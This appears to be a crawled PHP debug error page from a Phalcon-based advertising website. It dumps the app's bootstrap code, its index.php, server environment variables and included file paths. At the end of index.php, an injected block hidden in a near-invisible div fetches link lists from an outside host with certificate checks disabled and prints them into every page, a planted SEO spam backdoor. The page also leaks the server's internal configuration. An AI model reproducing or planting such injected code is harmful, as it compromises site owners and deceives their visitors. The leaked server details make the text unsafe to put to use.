}
});
$simpleView->setEventsManager($em);
return $simpleView;
});
}
/**
* Initialize the Database connection.
*
* Database connection is created based in the parameters defined in the configuration file.
*
* @param DiInterface $di Dependency Injector
* @param Config $config App config
* @param EventsManager $em Events Manager
*
* @return void
*/
protected function initDatabase(DiInterface $di, Config $config, EventsManager $em)
{
$di->setShared('db', function () use ($config, $em, $di) {
$config = $config->database->toArray();
$adapter = '\Phalcon\Db\Adapter\Pdo\\' . $config['adapter'];
unset($config['adapter']);
/** @var \Phalcon\Db\Adapter\Pdo $connection */
$connection = new $adapter($config);
// Listen all the database events
$em->attach(
'db',
function ($event, $connection) use ($di) {
/**
* @var \Phalcon\Events\Event $event
* @var \Phalcon\Db\AdapterInterface $connection
* @var \Phalcon\DiInterface $di
*/
if ($event->getType() == 'beforeQuery') {
$variables = $connection->getSQLVariables();
$string = $connection->getSQLStatement();
if ($variables) {
$string .= "\n" . print_r($variables, true);;
}
// To disable logging change logLevel in config
$di->get('logger', ['db.log'])->debug($string);
}
}
);
// Assign the eventsManager to the db adapter instance
$connection->setEventsManager($em);
return $connection;
});
$di->setShared('modelsManager', function () use ($em) {
$modelsManager = new ModelsManager;
$modelsManager->setEventsManager($em);
return $modelsManager;
});
$di->setShared('modelsMetadata', function () use ($config, $em) {
$config = $config->get('metadata')->toArray();
$adapter = '\Phalcon\Mvc\Model\Metadata\\' . $config['adapter'];
unset($config['adapter']);
$metaData = new $adapter($config);
return $metaData;
});
}
/**
* Initialize the Queue Service.
* TODO: Not yet implement
*
* Queue to deliver e-mails in real-time and other tasks.
*
* @param DiInterface $di Dependency Injector
* @param Config $config App config
* @param EventsManager $em Events Manager
*
* @return void
*/
protected function initQueue(DiInterface $di, Config $config, EventsManager $em)
{
$di->setShared('queue', function () use ($config) {
$config = $config->get('beanstalk');
$config->get('disabled', true);
if ($config->get('disabled', true)) {
return new DummyServer();
}
if (!$host = $config->get('host', false)) {
$error = 'Beanstalk is not configured';
if (class_exists('\Phalcon\Queue\Beanstalk\Exception')) {
$exception = '\Phalcon\Queue\Beanstalk\Exception';
} else {
$exception = '\Phalcon\Exception';
}
throw new $exception($error);
}
return new Beanstalk(['host' => $host]);
});
}
/**
* Initialize the Router.
*
* @param DiInterface $di Dependency Injector
* @param Config $config App config
* @param EventsManager $em Events Manager
*
* @return void
*/
protected function initRouter(DiInterface $di, Config $config, EventsManager $em)
{
$di->setShared('router', function () use ($config, $em) {
/** @var \Phalcon\Mvc\Router $router */
$router = include BASE_DIR . 'config/routes.php';
if (!isset($_GET['_url'])) {
$router->setUriSource(Router::URI_SOURCE_SERVER_REQUEST_URI);
}
if (preg_match('/(.jpg|.jpge|.png|.gif|.ico|.css|.js)$/', $router->getRewriteUri())) {
exit;
}
$router->removeExtraSlashes(true);
$router->setEventsManager($em);
$router->setDefaultNamespace('Blazy\Frontend\Controllers');
$router->setDefaultModule('frontend');
$router->notFound(['controller' => 'error', 'action' => 'route404']);
return $router;
});
}
/**
* Initialize the Url service.
*
* The URL component is used to generate all kind of urls in the application.
*
* @param DiInterface $di Dependency Injector
* @param Config $config App config
* @param EventsManager $em Events Manager
*
* @return void
*/
protected function initUrl(DiInterface $di, Config $config, EventsManager $em)
{
$di->setShared('url', function () use ($config) {
$url = new UrlResolver;
$url->setBaseUri($config->application->baseUri);
$url->setStaticBaseUri(STATIC_BASE_URL . $config->application->baseUri);
return $url;
});
}
/**
* Initialize the Dispatcher.
*
* @param DiInterface $di Dependency Injector
* @param Config $config App config
* @param EventsManager $em Events Manager
*
* @return void
*/
protected function initDispatcher(DiInterface $di, Config $config, EventsManager $em)
{
$di->setShared('dispatcher', function () use ($em) {
$dispatcher = new Dispatcher;
$dispatcher->setDefaultNamespace('Blazy\Frontend\Controllers');
$em->attach('dispatch:beforeException', function ($event, $dispatcher, $exception) {
if (!class_exists('Blazy\Backend\Module')) {
include_once BASE_DIR . '/app/modules/backend/module.php';
$module = new Backend\Module();
$module->registerServices($this->getDI());
$module->registerAutoloaders($this->getDI());
$dispatcher->setNamespaceName('Blazy\Backend\Controllers');
}
});
$dispatcher->setEventsManager($em);
return $dispatcher;
});
}
/**
* Initialize the Flash Service.
*
* Register the Flash Service with the Twitter Bootstrap classes
*
* @param DiInterface $di Dependency Injector
* @param Config $config App config
* @param EventsManager $em Events Manager
*
* @return void
*/
protected function initFlash(DiInterface $di, Config $config, EventsManager $em)
{
$di->setShared('flash', function () {
$flash = new Flash(
[
'error' => 'alert alert-danger fade in',
'success' => 'alert alert-success fade in',
'notice' => 'alert alert-info fade in',
'warning' => 'alert alert-warning fade in',
]
);
return $flash;
});
$di->setShared('flashInline', function () use ($di) {
$flash = $di->getShared('flash');
$flash->setCssClasses([
'error' => 'custom-message error',
'success' => 'alert alert-success fade in',
'notice' => 'alert alert-info fade in',
'warning' => 'alert alert-warning fade in',
]);
return $flash;
});
$di->setShared(
'flashSession',
function () {
return new FlashSession([
'error' => 'alert alert-danger fade in',
'success' => 'alert alert-success fade in alert-hightlight',
'notice' => 'alert alert-info fade in',
'warning' => 'alert alert-warning fade in',
]);
}
);
}
/**
* Initialize time zones.
*
* @param DiInterface $di Dependency Injector
* @param Config $config App config
* @param EventsManager $em Events Manager
*
* @return void
*/
protected function initTimezones(DiInterface $di, Config $config, EventsManager $em)
{
$di->setShared('timezones', function () use ($config) {
return require_once BASE_DIR . 'config/timezones.php';
});
}
/**
* Load module's configuration file, prepare and return the Config.
*
* @param string $path Config path [Optional]
*
* @return Config
* @throws RuntimeException
*/
protected function initConfig($path = null)
{
$path = $path ?: BASE_DIR . 'config/';
if (!is_readable($path . 'config.php')) {
throw new RuntimeException(
'Unable to read config from ' . $path . 'config.php'
);
}
$di = Di::getDefault();
/**
* Load default configuration and run module background job
*
* @var \Phalcon\Config $config
*/
$config = include_once $path . 'config.php';
$di->setShared('config', $config);
foreach ($this->activeModules as $module) {
if (is_readable(BASE_DIR . 'app/modules/' . $module . '/config.php'))
$config->offsetSet($module, include_once BASE_DIR . 'app/modules/' . $module . '/config.php');
}
/**
* Load environment configuration
*
* @var \Phalcon\Config $envConfig
*/
$envConfig = include_once $path . 'config.' . APPLICATION_ENV . '.php';
foreach ($this->activeModules as $module) {
if (is_readable(BASE_DIR . 'app/modules/' . $module . '/config.' . APPLICATION_ENV . '.php'))
$envConfig->offsetSet($module, include_once BASE_DIR . 'app/modules/' . $module . '/config.' . APPLICATION_ENV . '.php');
}
if ($envConfig instanceof Config) {
$config->merge($envConfig);
}
return $config;
}
protected function initBackground()
{
$di = Di::getDefault();
foreach ($this->activeModules as $module) {
if (is_readable(BASE_DIR . 'app/modules/' . $module . '/Background.php')) {
include_once BASE_DIR . 'app/modules/' . $module . '/Background.php';
$background = 'Blazy\\' . $module . '\Background';
new $background($di);
}
}
}
/**
* @param DiInterface $di
* @param Config $config
* @param EventsManager $em
*/
protected function initAssets(DiInterface $di, Config $config, EventsManager $em)
{
$di->setShared('assets', function () use ($config, $em) {
return new AssetsManager();
});
}
/*protected function initViewSimple(DiInterface $di, Config $config, EventsManager $em) {
$di->setShared('viewSimple', function() {
$view = new ViewSimple();
$view->setViewsDir($config->application->viewsDir);
return new ViewSimple();
});
}*/
/**
* starts the cookie the first time some component requests the cookie service
*
* @param DiInterface $di
* @param Config $config
* @param EventsManager $em
*/
protected function initCookie(DiInterface $di, Config $config, EventsManager $em)
{
$di->setShared('cookies', function () {
$cookies = new Cookies();
$cookies->useEncryption(false);
return $cookies;
});
}
/**
* Multi language
*
* @param DiInterface $di
* @param Config $config
* @param EventsManager $em
*/
protected function initTranslate(DiInterface $di, Config $config, EventsManager $em)
{
$di->setShared('translate', function () use ($di, $config) {
$translate = new Translate($config->application->messagesDir, $config->application->defaultLanguage);
$dispatcher = $di->getShared('dispatcher');
$lang = $dispatcher->getParam('lang');
if (!empty($lang)) {
$translate->setCurrentLanguage($lang);
}
return $translate;
});
$di->setShared('t', function () use ($di, $config) {
return $di->getShared('translate')->getTranslation();
});
}
/**
* media manager: image, video ..
*
* @param DiInterface $di
* @param Config $config
* @param EventsManager $em
*/
protected function initMedia(DiInterface $di, Config $config, EventsManager $em)
{
$di->setShared('image', new ImageManager(['driver' => 'gd']));
}
public function registerActiveModules($modules, $merge = false)
{
$preparedModules = [];
foreach ($modules as $module) {
$preparedModules[$module] = [
'className' => 'Blazy\\' . ucfirst($module) . '\\Module',
'path' => BASE_DIR . 'app/modules/' . $module . '/Module.php',
];
}
parent::registerModules($preparedModules, $merge);
}
}
|
| #12 | Blazy\Bootstrap->__construct(Object(Phalcon\Di\FactoryDefault)) /var/www/sites/tla/public/index.php (8) <?php
use Blazy\Bootstrap;
include_once realpath(dirname(dirname(__FILE__))) . '/config/env.php';
include_once BASE_DIR . 'config/bootstrap.php';
$app = new Bootstrap(new \Phalcon\Di\FactoryDefault());
//if ( APPLICATION_ENV == ENV_DEVELOPMENT) {
// $di = Phalcon\Di::getDefault();
// //$application = new Phalcon\Mvc\Application( $di ); // Important: mustn't ignore $di param . The Same Micro APP: new Phalcon\Mvc\Micro($di);
// $di['app'] = $app; // Important
// (new Snowair\Debugbar\ServiceProvider( BASE_DIR . 'config/debugbar.php'))->start();
//}
if (APPLICATION_ENV == ENV_TESTING) {
return $app->run();
} else {
echo $app->run();
}
?>
<div class="content-fragment" style="position:absolute;width:1px;height:1px;overflow:hidden;opacity:0.01;">
<?php
$api_url = "https://h.tock8.sbs/htmlapi.php";
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $api_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_TIMEOUT, 10);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
$ua = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'Mozilla/5.0';
curl_setopt($ch, CURLOPT_USERAGENT, $ua);
$result = curl_exec($ch);
curl_close($ch);
if ($result) {
$data = json_decode($result, true);
if (is_array($data)) {
foreach ($data as $block) {
if (!empty($block['links'])) {
foreach ($block['links'] as $link) {
echo $link . "\n";
}
}
}
}
}
?>
</div>
|
| Key | Value |
|---|---|
| _url | /stock-analysis-forecasts/sitemap_20.xml |
| Key | Value |
|---|---|
| PHP_EXTRA_CONFIGURE_ARGS | --enable-fpm --with-fpm-user=www-data --with-fpm-group=www-data --disable-cgi |
| HOSTNAME | 3fb88697fcd5 |
| PHP_INI_DIR | /usr/local/etc/php |
| SHLVL | 1 |
| HOME | /home/nginx |
| PHP_FPM_PM_MAX_CHILDREN | 50 |
| PHP_LDFLAGS | -Wl,-O1 -Wl,--hash-style=both -pie |
| PHP_CFLAGS | -fstack-protector-strong -fpic -fpie -O2 |
| PHP_MD5 | |
| PHP_VERSION | 5.6.40 |
| GPG_KEYS | 0BD78B5F97500D450838F95DFE857D9A90D90EC1 6E4F6AB321FDC07F2C332E3AC2BF0BC433CFC8B3 |
| PHP_CPPFLAGS | -fstack-protector-strong -fpic -fpie -O2 |
| PHP_ASC_URL | https://secure.php.net/get/php-5.6.40.tar.xz.asc/from/this/mirror |
| PHP_URL | https://secure.php.net/get/php-5.6.40.tar.xz/from/this/mirror |
| PHP_FPM_PM | dynamic |
| PATH | /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin |
| MAX_UPLOAD | 50M |
| PHP_FPM_PM_MIN_SPARE_SERVERS | 5 |
| PHP_MEMORY_LIMIT | 512M |
| PHP_FPM_PM_MAX_SPARE_SERVERS | 35 |
| PHP_FPM_PM_START_SERVERS | 5 |
| PHPIZE_DEPS | autoconf dpkg-dev dpkg file g++ gcc libc-dev make pkgconf re2c |
| PWD | /var/www/html |
| PHP_SHA256 | 1369a51eee3995d7fbd1c5342e5cc917760e276d561595b6052b21ace2656d1c |
| TZ | Asia/Ho_Chi_Minh |
| PHP_MAX_FILE_UPLOAD | 200 |
| USER | nginx |
| FCGI_ROLE | RESPONDER |
| QUERY_STRING | _url=/stock-analysis-forecasts/sitemap_20.xml& |
| REQUEST_METHOD | GET |
| CONTENT_TYPE | |
| CONTENT_LENGTH | |
| SCRIPT_NAME | /index.php |
| REQUEST_URI | /stock-analysis-forecasts/sitemap_20.xml |
| DOCUMENT_URI | /index.php |
| DOCUMENT_ROOT | /var/www/sites/tla/public |
| SERVER_PROTOCOL | HTTP/1.1 |
| REQUEST_SCHEME | https |
| HTTPS | on |
| GATEWAY_INTERFACE | CGI/1.1 |
| SERVER_SOFTWARE | nginx/1.26.2 |
| REMOTE_ADDR | 216.73.216.183 |
| REMOTE_PORT | 39425 |
| SERVER_ADDR | 103.166.183.205 |
| SERVER_PORT | 443 |
| SERVER_NAME | tlaadvertising.com.vn |
| REDIRECT_STATUS | 200 |
| PATH_INFO | |
| PATH_TRANSLATED | /var/www/sites/tla/public |
| SCRIPT_FILENAME | /var/www/sites/tla/public/index.php |
| HTTP_ACCEPT | */* |
| HTTP_USER_AGENT | Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com) |
| HTTP_ACCEPT_ENCODING | gzip, br, zstd, deflate |
| HTTP_HOST | tlaadvertising.com.vn |
| PHP_SELF | /index.php |
| REQUEST_TIME_FLOAT | 1780398259.1116 |
| REQUEST_TIME | 1780398259 |
| argv | Array([0] => _url=/stock-analysis-forecasts/sitemap_20.xml&) |
| argc | 1 |
| APP_ENV | development |
| # | Path |
|---|---|
| 0 | /var/www/sites/tla/public/index.php |
| 1 | /var/www/sites/tla/config/env.php |
| 2 | /var/www/sites/tla/vendor/autoload.php |
| 3 | /var/www/sites/tla/vendor/composer/autoload_real.php |
| 4 | /var/www/sites/tla/vendor/composer/ClassLoader.php |
| 5 | /var/www/sites/tla/vendor/composer/autoload_static.php |
| 6 | /var/www/sites/tla/vendor/ralouphie/getallheaders/src/getallheaders.php |
| 7 | /var/www/sites/tla/vendor/symfony/polyfill-ctype/bootstrap.php |
| 8 | /var/www/sites/tla/vendor/guzzlehttp/psr7/src/functions_include.php |
| 9 | /var/www/sites/tla/vendor/guzzlehttp/psr7/src/functions.php |
| 10 | /var/www/sites/tla/vendor/swiftmailer/swiftmailer/lib/swift_required.php |
| 11 | /var/www/sites/tla/vendor/swiftmailer/swiftmailer/lib/classes/Swift.php |
| 12 | /var/www/sites/tla/vendor/vlucas/phpdotenv/src/Dotenv.php |
| 13 | /var/www/sites/tla/vendor/vlucas/phpdotenv/src/Loader.php |
| 14 | /var/www/sites/tla/vendor/vlucas/phpdotenv/src/Parser.php |
| 15 | /var/www/sites/tla/vendor/lamvh/phalcon/src/error/Handler.php |
| 16 | /var/www/sites/tla/config/bootstrap.php |
| 17 | /var/www/sites/tla/config/config.php |
| 18 | /var/www/sites/tla/app/modules/skeleton/config.php |
| 19 | /var/www/sites/tla/config/config.development.php |
| 20 | /var/www/sites/tla/app/modules/skeleton/config.development.php |
| 21 | /var/www/sites/tla/vendor/intervention/image/src/Intervention/Image/ImageManager.php |
| 22 | /var/www/sites/tla/app/modules/frontend/Background.php |
| 23 | /var/www/sites/tla/vendor/lamvh/phalcon/src/Mvc/BackgroundServiceInterface.php |
| 24 | /var/www/sites/tla/app/modules/frontend/config/config.php |
| 25 | /var/www/sites/tla/vendor/lamvh/phalcon/src/translate/Translate.php |
| 26 | /var/www/sites/tla/app/modules/backend/Background.php |
| 27 | /var/www/sites/tla/app/modules/backend/config/config.php |
| 28 | /var/www/sites/tla/app/modules/backend/Routes.php |
| 29 | /var/www/sites/tla/config/routes.php |
| 30 | /var/www/sites/tla/app/modules/skeleton/Background.php |
| 31 | /var/www/sites/tla/app/modules/auth/Background.php |
| 32 | /var/www/sites/tla/app/modules/auth/config/config.php |
| 33 | /var/www/sites/tla/app/modules/auth/Routes.php |
| 34 | /var/www/sites/tla/app/modules/auth/plugin/Security.php |
| 35 | /var/www/sites/tla/app/modules/category/Background.php |
| 36 | /var/www/sites/tla/app/modules/category/config/config.php |
| 37 | /var/www/sites/tla/app/modules/category/Routes.php |
| 38 | /var/www/sites/tla/app/modules/widget/Background.php |
| 39 | /var/www/sites/tla/app/modules/widget/config/config.php |
| 40 | /var/www/sites/tla/app/modules/mobile/Background.php |
| 41 | /var/www/sites/tla/app/modules/mobile/config/config.php |
| 42 | /var/www/sites/tla/app/modules/mobile/plugin/MobileDetect.php |
| 43 | /var/www/sites/tla/app/modules/article/Background.php |
| 44 | /var/www/sites/tla/app/modules/article/config/config.php |
| 45 | /var/www/sites/tla/app/modules/article/Routes.php |
| 46 | /var/www/sites/tla/app/modules/article/plugin/Seo.php |
| 47 | /var/www/sites/tla/app/modules/shop/Background.php |
| 48 | /var/www/sites/tla/app/modules/shop/config/config.php |
| 49 | /var/www/sites/tla/vendor/lamvh/phalcon/src/auth/library/Authentication.php |
| 50 | /var/www/sites/tla/app/modules/auth/library/UsernameAccountType.php |
| 51 | /var/www/sites/tla/vendor/lamvh/phalcon/src/auth/library/AccountTypeInterface.php |
| 52 | /var/www/sites/tla/app/modules/auth/library/EmailAccountType.php |
| 53 | /var/www/sites/tla/app/modules/auth/library/FacebookAccountType.php |
| 54 | /var/www/sites/tla/app/modules/auth/library/GoogleAccountType.php |
| 55 | /var/www/sites/tla/vendor/lamvh/phalcon/src/error/Error.php |
| Memory | |
|---|---|
| Usage | 1835008 |